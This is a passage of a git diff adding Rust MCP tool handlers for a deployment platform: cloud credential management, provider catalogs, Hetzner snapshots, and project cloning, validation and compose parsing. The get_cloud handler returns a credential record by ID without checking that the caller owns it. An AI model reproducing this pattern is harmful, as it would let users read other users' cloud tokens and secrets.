.to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "server_ip": { + "type": "string", + "description": "Target server IP address or hostname" + }, + "role_name": { + "type": "string", + "description": "Name of the Ansible role to deploy" + }, + "variables": { + "type": "object", + "description": "Role variables (key-value pairs)", + "additionalProperties": true + }, + "ssh_user": { + "type": "string", + "description": "SSH username (default: 'root')", + "default": "root" + }, + "ssh_key_path": { + "type": "string", + "description": "Path to SSH private key (default: '/root/.ssh/id_rsa')", + "default": "/root/.ssh/id_rsa" + } + }, + "required": ["server_ip", "role_name", "variables"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/cloud.rs b/stacker/stacker/src/mcp/tools/cloud.rs new file mode 100644 index 0000000..15185dc --- /dev/null +++ b/stacker/stacker/src/mcp/tools/cloud.rs @@ -0,0 +1,673 @@ +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::connectors::{ + fetch_app_service_catalog, HetznerCloudClient, HetznerCloudConnector, HetznerSnapshotTarget, +}; +use crate::db; +use crate::forms::CloudForm; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models; +use serde::Deserialize; + +/// List user's cloud credentials +pub struct ListCloudsTool; + +#[async_trait] +impl ToolHandler for ListCloudsTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + let clouds = db::cloud::fetch_by_user(&context.pg_pool, &context.user.id) + .await + .map_err(|e| { + tracing::error!("Failed to fetch clouds: {}", e); + format!("Database error: {}", e) + })?; + + let result = + serde_json::to_string(&clouds).map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + "Listed {} clouds for user {}", + clouds.len(), + context.user.id + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_clouds".to_string(), + description: "List all cloud provider credentials owned by the authenticated user" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Get a specific cloud by ID +pub struct GetCloudTool; + +#[async_trait] +impl ToolHandler for GetCloudTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + id: i32, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let cloud = db::cloud::fetch(&context.pg_pool, args.id) + .await + .map_err(|e| { + tracing::error!("Failed to fetch cloud: {}", e); + format!("Cloud error: {}", e) + })? + .ok_or_else(|| "Cloud not found".to_string())?; + + let result = + serde_json::to_string(&cloud).map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!("Retrieved cloud {} for user {}", args.id, context.user.id); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_cloud".to_string(), + description: "Get details of a specific cloud provider credential by ID".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "id": { + "type": "number", + "description": "Cloud ID" + } + }, + "required": ["id"] + }), + } + } +} + +/// Delete a cloud credential +pub struct DeleteCloudTool; + +#[async_trait] +impl ToolHandler for DeleteCloudTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + id: i32, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let _cloud = db::cloud::fetch(&context.pg_pool, args.id) + .await + .map_err(|e| format!("Cloud error: {}", e))? + .ok_or_else(|| "Cloud not found".to_string())?; + + db::cloud::delete(&context.pg_pool, args.id, &context.user.id) + .await + .map_err(|e| format!("Failed to delete cloud: {}", e))?; + + let response = serde_json::json!({ + "id": args.id, + "message": "Cloud credential deleted successfully" + }); + + tracing::info!("Deleted cloud {} for user {}", args.id, context.user.id); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "delete_cloud".to_string(), + description: "Delete a cloud provider credential".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "id": { + "type": "number", + "description": "Cloud ID to delete" + } + }, + "required": ["id"] + }), + } + } +} + +/// Add new cloud credentials +pub struct AddCloudTool; + +#[async_trait] +impl ToolHandler for AddCloudTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + provider: String, + cloud_token: Option, + cloud_key: Option, + cloud_secret: Option, + save_token: Option, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Validate provider + let valid_providers = ["aws", "digitalocean", "hetzner", "azure", "gcp"]; + if !valid_providers.contains(&args.provider.to_lowercase().as_str()) { + return Err(format!( + "Invalid provider. Must be one of: {}", + valid_providers.join(", ") + )); + } + + // Validate at least one credential is provided + if args.cloud_token.is_none() && args.cloud_key.is_none() && args.cloud_secret.is_none() { + return Err( + "At least one of cloud_token, cloud_key, or cloud_secret must be provided" + .to_string(), + ); + } + + // Create cloud record + let cloud = models::Cloud { + id: 0, // Will be set by DB + user_id: context.user.id.clone(), + name: String::new(), // auto-generated by db::cloud::insert as "{provider}-{id}" + provider: args.provider.clone(), + cloud_token: args.cloud_token, + cloud_key: args.cloud_key, + cloud_secret: args.cloud_secret, + save_token: args.save_token, + created_at: chrono::Utc::now(), + updated_at: chrono::Utc::now(), + }; + + let created_cloud = db::cloud::insert(&context.pg_pool, cloud) + .await + .map_err(|e| format!("Failed to create cloud: {}", e))?; + + let response = serde_json::json!({ + "id": created_cloud.id, + "provider": created_cloud.provider, + "save_token": created_cloud.save_token, + "created_at": created_cloud.created_at, + "message": "Cloud credentials added successfully" + }); + + tracing::info!( + "Added cloud {} for user {}", + created_cloud.id, + context.user.id + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "add_cloud".to_string(), + description: "Add new cloud provider credentials for deployments".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "provider": { + "type": "string", + "description": "Cloud provider name (aws, digitalocean, hetzner, azure, gcp)", + "enum": ["aws", "digitalocean", "hetzner", "azure", "gcp"] + }, + "cloud_token": { + "type": "string", + "description": "Cloud API token (optional)" + }, + "cloud_key": { + "type": "string", + "description": "Cloud access key (optional)" + }, + "cloud_secret": { + "type": "string", + "description": "Cloud secret key (optional)" + }, + "save_token": { + "type": "boolean", + "description": "Whether to save the token for future use (default: true)" + } + }, + "required": ["provider"] + }), + } + } +} + +/// List available cloud regions for a provider +pub struct ListCloudRegionsTool; + +#[async_trait] +impl ToolHandler for ListCloudRegionsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + provider: String, + #[serde(default)] + cloud_id: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let payload = fetch_app_service_catalog( + ¶ms.provider.to_lowercase(), + "regions", + params.cloud_id, + context.user.access_token.as_deref(), + ) + .await?; + + Ok(ToolContent::Text { + text: payload.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_cloud_regions".to_string(), + description: "List available regions from App Service for a cloud provider".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "provider": { + "type": "string", + "enum": ["do", "htz", "lo", "scw", "aws", "gc", "vu", "ovh", "upc", "ali"], + "description": "Cloud provider code" + }, + "cloud_id": { + "type": "number", + "description": "Optional cloud credential ID" + } + }, + "required": ["provider"] + }), + } + } +} + +/// List available server sizes/plans for a provider +pub struct ListCloudServerSizesTool; + +#[async_trait] +impl ToolHandler for ListCloudServerSizesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + provider: String, + #[serde(default)] + cloud_id: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let payload = fetch_app_service_catalog( + ¶ms.provider.to_lowercase(), + "servers", + params.cloud_id, + context.user.access_token.as_deref(), + ) + .await?; + + Ok(ToolContent::Text { + text: payload.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_cloud_server_sizes".to_string(), + description: "List available server sizes/plans from App Service for a cloud provider" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "provider": { + "type": "string", + "enum": ["do", "htz", "lo", "scw", "aws", "gc", "vu", "ovh", "upc", "ali"], + "description": "Cloud provider code" + }, + "cloud_id": { + "type": "number", + "description": "Optional cloud credential ID" + } + }, + "required": ["provider"] + }), + } + } +} + +/// List available images for a provider +pub struct ListCloudImagesTool; + +#[async_trait] +impl ToolHandler for ListCloudImagesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + provider: String, + #[serde(default)] + cloud_id: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let payload = fetch_app_service_catalog( + ¶ms.provider.to_lowercase(), + "images", + params.cloud_id, + context.user.access_token.as_deref(), + ) + .await?; + + Ok(ToolContent::Text { + text: payload.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_cloud_images".to_string(), + description: "List available OS/images from App Service for a cloud provider" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "provider": { + "type": "string", + "enum": ["do", "htz", "lo", "scw", "aws", "gc", "vu", "ovh", "upc", "ali"], + "description": "Cloud provider code" + }, + "cloud_id": { + "type": "number", + "description": "Optional cloud credential ID" + } + }, + "required": ["provider"] + }), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Server Snapshot Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Deserialize)] +struct RequestServerSnapshotArgs { + #[serde(default)] + server_id: Option, + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + provider_server_id: Option, + #[serde(default)] + description: Option, + #[serde(default)] + reason: Option, + #[serde(default)] + confirm_snapshot: Option, +} + +pub struct RequestServerSnapshotTool; + +#[async_trait] +impl ToolHandler for RequestServerSnapshotTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let params: RequestServerSnapshotArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if params.confirm_snapshot != Some(true) { + let response = json!({ + "status": "confirmation_required", + "snapshot_required": true, + "message": "Creating a cloud snapshot is a provider write operation. Re-run with confirm_snapshot=true after user approval before risky remote troubleshooting.", + "risky_operations": [ + "remote_exec", + "direct_ssh_remediation", + "restart_container", + "stop_container", + "remove_app", + "deploy_app_with_force_overwrite", + "proxy_or_firewall_changes" + ], + "required_argument": "confirm_snapshot" + }); + return Ok(ToolContent::Text { + text: response.to_string(), + }); + } + + let server = resolve_snapshot_server(context, ¶ms).await?; + let cloud_id = server.cloud_id.ok_or_else(|| { + "Server has no linked cloud credential for snapshot creation".to_string() + })?; + let cloud = db::cloud::fetch(&context.pg_pool, cloud_id) + .await + .map_err(|e| format!("Cloud error: {}", e))? + .ok_or_else(|| "Linked cloud credential not found".to_string())?; + if cloud.user_id != context.user.id { + return Err("Unauthorized: cloud credential does not belong to this user".to_string()); + } + + let provider = normalize_snapshot_provider(&cloud.provider); + if provider != "hetzner" { + return Err(format!( + "Server snapshots are currently supported for Hetzner only; provider was {}", + cloud.provider + )); + } + + let cloud = if cloud.save_token == Some(true) { + CloudForm::decode_model(cloud, true) + } else { + cloud + }; + let token = cloud + .cloud_token + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + .ok_or_else(|| "Hetzner snapshot requires a valid saved cloud token".to_string())?; + + let description = params.description.clone().unwrap_or_else(|| { + let reason = params + .reason + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + .unwrap_or("AI-assisted troubleshooting"); + format!( + "Stacker pre-troubleshooting snapshot for server {}: {}", + server.id, reason + ) + }); + + let target = HetznerSnapshotTarget { + provider_server_id: params.provider_server_id, + server_name: server + .name + .clone() + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty()), + public_ip: server + .srv_ip + .clone() + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty()), + }; + + if target.provider_server_id.is_none() + && target.server_name.is_none() + && target.public_ip.is_none() + { + return Err( + "Cannot match Hetzner server: provide provider_server_id or save server name/public IP" + .to_string(), + ); + } + + let connector = HetznerCloudClient::from_env() + .map_err(|e| format!("Failed to initialize Hetzner connector: {}", e))?; + let snapshot = connector + .create_server_snapshot(token, target, &description) + .await + .map_err(|e| format!("Hetzner snapshot request failed: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + server_id = server.id, + cloud_id = cloud_id, + action_id = snapshot.action_id, + image_id = ?snapshot.image_id, + "Requested Hetzner server snapshot via MCP" + ); + + let response = json!({ + "status": "snapshot_requested", + "provider": "hetzner", + "server_id": server.id, + "snapshot": snapshot, + "message": "Hetzner snapshot request accepted. Wait for the action/image to complete before high-risk remediation." + }); + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "request_server_snapshot".to_string(), + description: "Request a cloud snapshot for a remote server before risky AI-assisted troubleshooting. Hetzner is supported first. This is a provider write operation and requires confirm_snapshot=true.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "server_id": { + "type": "number", + "description": "Stacker server ID. Preferred when available." + }, + "deployment_id": { + "type": "number", + "description": "Stacker deployment/installation ID to locate the linked server." + }, + "deployment_hash": { + "type": "string", + "description": "Deployment hash to locate the linked server." + }, + "provider_server_id": { + "type": "number", + "description": "Optional Hetzner server ID. If omitted Stacker matches by saved public IP or server name." + }, + "description": { + "type": "string", + "description": "Snapshot description stored at the provider. Do not include secrets." + }, + "reason": { + "type": "string", + "description": "Human-readable reason for the snapshot request." + }, + "confirm_snapshot": { + "type": "boolean", + "description": "Must be true after explicit user approval because this creates a provider snapshot." + } + }, + "required": ["confirm_snapshot"] + }), + } + } +} + +async fn resolve_snapshot_server( + context: &ToolContext, + params: &RequestServerSnapshotArgs, +) -> Result { + if let Some(server_id) = params.server_id { + let server = db::server::fetch(&context.pg_pool, server_id) + .await? + .ok_or_else(|| "Server not found".to_string())?; + if server.user_id != context.user.id { + return Err("Unauthorized: server does not belong to this user".to_string()); + } + return Ok(server); + } + + let deployment = if let Some(hash) = params.deployment_hash.as_deref() { + db::deployment::fetch_by_deployment_hash(&context.pg_pool, hash) + .await? + .ok_or_else(|| "Deployment not found for deployment_hash".to_string())? + } else if let Some(deployment_id) = params.deployment_id { + db::deployment::fetch(&context.pg_pool, deployment_id as i32) + .await? + .ok_or_else(|| "Deployment not found for deployment_id".to_string())? + } else { + return Err("Provide server_id, deployment_id, or deployment_hash".to_string()); + }; + + if deployment.user_id.as_deref() != Some(context.user.id.as_str()) { + let project = db::project::fetch(&context.pg_pool, deployment.project_id) + .await + .map_err(|e| format!("Project lookup failed: {}", e))? + .ok_or_else(|| "Project not found for deployment".to_string())?; + if project.user_id != context.user.id { + return Err("Unauthorized: deployment does not belong to this user".to_string()); + } + } + + let mut servers = db::server::fetch_by_project(&context.pg_pool, deployment.project_id).await?; + servers.retain(|server| server.user_id == context.user.id); + servers + .into_iter() + .find(|server| server.cloud_id.is_some()) + .ok_or_else(|| { + "No cloud-backed server found for deployment project; pass server_id".to_string() + }) +} + +fn normalize_snapshot_provider(provider: &str) -> String { + match provider.trim().to_lowercase().as_str() { + "htz" | "hcloud" | "hetzner_cloud" => "hetzner".to_string(), + other => other.to_string(), + } +} + +#[cfg(test)] +mod snapshot_tool_tests { + use super::normalize_snapshot_provider; + + #[test] + fn snapshot_provider_normalizes_hetzner_aliases() { + assert_eq!(normalize_snapshot_provider("hetzner"), "hetzner"); + assert_eq!(normalize_snapshot_provider("htz"), "hetzner"); + assert_eq!(normalize_snapshot_provider("hcloud"), "hetzner"); + assert_eq!(normalize_snapshot_provider("hetzner_cloud"), "hetzner"); + } +} diff --git a/stacker/stacker/src/mcp/tools/compose.rs b/stacker/stacker/src/mcp/tools/compose.rs new file mode 100644 index 0000000..950628b --- /dev/null +++ b/stacker/stacker/src/mcp/tools/compose.rs @@ -0,0 +1,615 @@ +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::db; +use crate::helpers::project::builder::{parse_compose_services, ExtractedService}; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use serde::Deserialize; + +/// Delete a project +pub struct DeleteProjectTool; + +#[async_trait] +impl ToolHandler for DeleteProjectTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let project = db::project::fetch(&context.pg_pool, args.project_id) + .await + .map_err(|e| format!("Project not found: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this project".to_string()); + } + + db::project::delete(&context.pg_pool, args.project_id, &context.user.id) + .await + .map_err(|e| format!("Failed to delete project: {}", e))?; + + let response = serde_json::json!({ + "project_id": args.project_id, + "message": "Project deleted successfully" + }); + + tracing::info!( + "Deleted project {} for user {}", + args.project_id, + context.user.id + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "delete_project".to_string(), + description: "Delete a project permanently".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID to delete" + } + }, + "required": ["project_id"] + }), + } + } +} + +/// Clone a project +pub struct CloneProjectTool; + +#[async_trait] +impl ToolHandler for CloneProjectTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + new_name: String, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if args.new_name.trim().is_empty() { + return Err("New project name cannot be empty".to_string()); + } + + if args.new_name.len() > 255 { + return Err("Project name must be 255 characters or less".to_string()); + } + + let project = db::project::fetch(&context.pg_pool, args.project_id) + .await + .map_err(|e| format!("Project not found: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this project".to_string()); + } + + // Create new project with cloned data + let cloned_project = crate::models::Project::new( + context.user.id.clone(), + args.new_name.clone(), + project.metadata.clone(), + project.request_json.clone(), + ); + + let cloned_project = db::project::insert(&context.pg_pool, cloned_project) + .await + .map_err(|e| format!("Failed to clone project: {}", e))?; + + let response = serde_json::json!({ + "original_id": args.project_id, + "cloned_id": cloned_project.id, + "cloned_name": cloned_project.name, + "message": "Project cloned successfully" + }); + + tracing::info!( + "Cloned project {} to {} for user {}", + args.project_id, + cloned_project.id, + context.user.id + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "clone_project".to_string(), + description: "Clone/duplicate an existing project with a new name".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID to clone" + }, + "new_name": { + "type": "string", + "description": "Name for the cloned project (max 255 chars)" + } + }, + "required": ["project_id", "new_name"] + }), + } + } +} + +/// Validate a project's stack configuration before deployment +pub struct ValidateStackConfigTool; + +#[async_trait] +impl ToolHandler for ValidateStackConfigTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Fetch project + let project = db::project::fetch(&context.pg_pool, args.project_id) + .await + .map_err(|e| format!("Project not found: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + // Check ownership + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + // Fetch all apps in the project + let apps = db::project_app::fetch_by_project(&context.pg_pool, args.project_id) + .await + .map_err(|e| format!("Failed to fetch project apps: {}", e))?; + + let mut errors: Vec = Vec::new(); + let mut warnings: Vec = Vec::new(); + let mut info: Vec = Vec::new(); + + // Validation checks + + // 1. Check if project has any apps + if apps.is_empty() { + errors.push(json!({ + "code": "NO_APPS", + "message": "Project has no applications configured. Add at least one app to deploy.", + "severity": "error" + })); + } + + // 2. Check each app for required configuration + let mut used_ports: std::collections::HashMap = + std::collections::HashMap::new(); + let mut has_web_app = false; + + for app in &apps { + let app_code = &app.code; + + // Check for image + if app.image.is_empty() { + errors.push(json!({ + "code": "MISSING_IMAGE", + "app": app_code, + "message": format!("App '{}' has no Docker image configured.", app_code), + "severity": "error" + })); + } + + // Check for port conflicts + if let Some(ports) = &app.ports { + if let Some(ports_array) = ports.as_array() { + for port_config in ports_array { + if let Some(host_port) = port_config.get("host").and_then(|v| v.as_u64()) { + let host_port = host_port as u16; + if let Some(existing_app) = used_ports.get(&host_port) { + errors.push(json!({ + "code": "PORT_CONFLICT", + "app": app_code, + "port": host_port, + "message": format!("Port {} is used by both '{}' and '{}'.", host_port, existing_app, app_code), + "severity": "error" + })); + } else { + used_ports.insert(host_port, app_code.to_string()); + } + + // Check for common ports + if host_port == 80 || host_port == 443 { + has_web_app = true; + } + } + } + } + } + + // Check for common misconfigurations + if let Some(env) = &app.environment { + if let Some(env_obj) = env.as_object() { + // PostgreSQL specific checks + if app_code.contains("postgres") || app.image.contains("postgres") { + if !env_obj.contains_key("POSTGRES_PASSWORD") + && !env_obj.contains_key("POSTGRES_HOST_AUTH_METHOD") + { + warnings.push(json!({ + "code": "MISSING_DB_PASSWORD", + "app": app_code, + "message": "PostgreSQL requires POSTGRES_PASSWORD or POSTGRES_HOST_AUTH_METHOD environment variable.", + "severity": "warning", + "suggestion": "Set POSTGRES_PASSWORD to a secure value." + })); + } + } + + // MySQL/MariaDB specific checks + if app_code.contains("mysql") || app_code.contains("mariadb") { + if !env_obj.contains_key("MYSQL_ROOT_PASSWORD") + && !env_obj.contains_key("MYSQL_ALLOW_EMPTY_PASSWORD") + { + warnings.push(json!({ + "code": "MISSING_DB_PASSWORD", + "app": app_code, + "message": "MySQL/MariaDB requires MYSQL_ROOT_PASSWORD environment variable.", + "severity": "warning", + "suggestion": "Set MYSQL_ROOT_PASSWORD to a secure value." + })); + } + } + } + } + + // Check for domain configuration on web apps + if (app_code.contains("nginx") + || app_code.contains("apache") + || app_code.contains("traefik")) + && app.domain.is_none() + { + info.push(json!({ + "code": "NO_DOMAIN", + "app": app_code, + "message": format!("Web server '{}' has no domain configured. It will only be accessible via IP address.", app_code), + "severity": "info" + })); + } + } + + // 3. Check for recommended practices + if !has_web_app && !apps.is_empty() { + info.push(json!({ + "code": "NO_WEB_PORT", + "message": "No application is configured on port 80 or 443. The stack may not be accessible from a web browser.", + "severity": "info" + })); + } + + // Build validation result + let is_valid = errors.is_empty(); + let result = json!({ + "project_id": args.project_id, + "project_name": project.name, + "is_valid": is_valid, + "apps_count": apps.len(), + "errors": errors, + "warnings": warnings, + "info": info, + "summary": { + "error_count": errors.len(), + "warning_count": warnings.len(), + "info_count": info.len() + }, + "recommendation": if is_valid { + if warnings.is_empty() { + "Stack configuration looks good! Ready for deployment.".to_string() + } else { + format!("Stack can be deployed but has {} warning(s) to review.", warnings.len()) + } + } else { + format!("Stack has {} error(s) that must be fixed before deployment.", errors.len()) + } + }); + + tracing::info!( + user_id = %context.user.id, + project_id = args.project_id, + is_valid = is_valid, + errors = errors.len(), + warnings = warnings.len(), + "Validated stack configuration via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "validate_stack_config".to_string(), + description: "Validate a project's stack configuration before deployment. Checks for missing images, port conflicts, required environment variables, and other common issues.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID to validate" + } + }, + "required": ["project_id"] + }), + } + } +} + +/// Discover all services from a multi-service docker-compose stack +/// Parses the compose file and creates individual project_app entries for each service +pub struct DiscoverStackServicesTool; + +#[async_trait] +impl ToolHandler for DiscoverStackServicesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + /// Project ID containing the parent app + project_id: i32, + /// App code of the parent stack (e.g., "komodo") + parent_app_code: String, + /// Compose content (YAML string). If not provided, fetches from project_app's compose + compose_content: Option, + /// Whether to create project_app entries for discovered services + #[serde(default)] + create_apps: bool, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, args.project_id) + .await + .map_err(|e| format!("Project not found: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this project".to_string()); + } + + // Get compose content - either from args or from existing project_app + let compose_yaml = if let Some(content) = args.compose_content { + content + } else { + // Fetch parent app to get its compose + let _parent_app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + args.project_id, + &args.parent_app_code, + ) + .await + .map_err(|e| format!("Failed to fetch parent app: {}", e))? + .ok_or_else(|| format!("Parent app '{}' not found in project", args.parent_app_code))?; + + // Try to get compose from config_files or stored compose + // For now, require compose_content to be provided + return Err( + "compose_content is required when parent app doesn't have stored compose. \ + Please provide the docker-compose.yml content." + .to_string(), + ); + }; + + // Parse the compose file to extract services + let services: Vec = parse_compose_services(&compose_yaml)?; + + if services.is_empty() { + return Ok(ToolContent::Text { + text: json!({ + "success": false, + "message": "No services found in compose file", + "services": [] + }) + .to_string(), + }); + } + + let mut created_apps: Vec = Vec::new(); + let mut discovered_services: Vec = Vec::new(); + + for svc in &services { + let service_info = json!({ + "name": svc.name, + "image": svc.image, + "ports": svc.ports, + "volumes": svc.volumes, + "networks": svc.networks, + "depends_on": svc.depends_on, + "environment_count": svc.environment.len(), + "has_healthcheck": svc.healthcheck.is_some(), + "has_command": svc.command.is_some(), + "has_entrypoint": svc.entrypoint.is_some(), + "labels_count": svc.labels.len(), + }); + discovered_services.push(service_info); + + // Create project_app entries if requested + if args.create_apps { + // Generate unique code: parent_code-service_name + let app_code = format!("{}-{}", args.parent_app_code, svc.name); + + // Check if already exists + let existing = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + args.project_id, + &app_code, + ) + .await + .ok() + .flatten(); + + if existing.is_some() { + created_apps.push(json!({ + "code": app_code, + "status": "already_exists", + "service": svc.name, + })); + continue; + } + + // Create new project_app for this service + let mut new_app = crate::models::ProjectApp::new( + args.project_id, + app_code.clone(), + svc.name.clone(), + svc.image.clone().unwrap_or_else(|| "unknown".to_string()), + ); + + // Set parent reference + new_app.parent_app_code = Some(args.parent_app_code.clone()); + + // Convert environment to JSON object + if !svc.environment.is_empty() { + let mut env_map = serde_json::Map::new(); + for env_str in &svc.environment { + if let Some((k, v)) = env_str.split_once('=') { + env_map.insert(k.to_string(), json!(v)); + } + } + new_app.environment = Some(json!(env_map)); + } + + // Convert ports to JSON array + if !svc.ports.is_empty() { + new_app.ports = Some(json!(svc.ports)); + } + + // Convert volumes to JSON array + if !svc.volumes.is_empty() { + new_app.volumes = Some(json!(svc.volumes)); + } + + // Set networks + if !svc.networks.is_empty() { + new_app.networks = Some(json!(svc.networks)); + } + + // Set depends_on + if !svc.depends_on.is_empty() { + new_app.depends_on = Some(json!(svc.depends_on)); + } + + // Set command + new_app.command = svc.command.clone(); + new_app.entrypoint = svc.entrypoint.clone(); + new_app.restart_policy = svc.restart.clone(); + new_app.healthcheck = svc.healthcheck.clone(); + + // Convert labels to JSON + if !svc.labels.is_empty() { + let labels_map: serde_json::Map = svc + .labels + .iter() + .map(|(k, v)| (k.clone(), json!(v))) + .collect(); + new_app.labels = Some(json!(labels_map)); + } + + // Insert into database + match db::project_app::insert(&context.pg_pool, &new_app).await { + Ok(created) => { + created_apps.push(json!({ + "code": app_code, + "id": created.id, + "status": "created", + "service": svc.name, + "image": svc.image, + })); + } + Err(e) => { + created_apps.push(json!({ + "code": app_code, + "status": "error", + "error": e.to_string(), + "service": svc.name, + })); + } + } + } + } + + let result = json!({ + "success": true, + "project_id": args.project_id, + "parent_app_code": args.parent_app_code, + "services_count": services.len(), + "discovered_services": discovered_services, + "created_apps": if args.create_apps { Some(created_apps) } else { None }, + "message": format!( + "Discovered {} services from compose file{}", + services.len(), + if args.create_apps { ", created project_app entries" } else { "" } + ) + }); + + tracing::info!( + user_id = %context.user.id, + project_id = args.project_id, + parent_app = %args.parent_app_code, + services_count = services.len(), + create_apps = args.create_apps, + "Discovered stack services via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "discover_stack_services".to_string(), + description: "Parse a docker-compose file to discover all services in a multi-service stack. \ + Can optionally create individual project_app entries for each service, linked to a parent app. \ + Use this for complex stacks like Komodo that have multiple containers (core, ferretdb, periphery).".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID containing the stack" + }, + "parent_app_code": { + "type": "string", + "description": "App code of the parent stack (e.g., 'komodo')" + }, + "compose_content": { + "type": "string", + "description": "Docker-compose YAML content to parse. If not provided, attempts to fetch from parent app." + }, + "create_apps": { + "type": "boolean", + "description": "If true, creates project_app entries for each discovered service with parent_app_code reference" + } + }, + "required": ["project_id", "parent_app_code"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/config.rs b/stacker/stacker/src/mcp/tools/config.rs new file mode 100644 index 0000000..e3e6849 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/config.rs @@ -0,0 +1,1348 @@ +//! MCP Tools for App Configuration Management. +//! +//! These tools provide AI access to: +//! - View and update app environment variables +//! - Manage app port configurations +//! - Configure app domains and SSL +//! - View and modify app settings 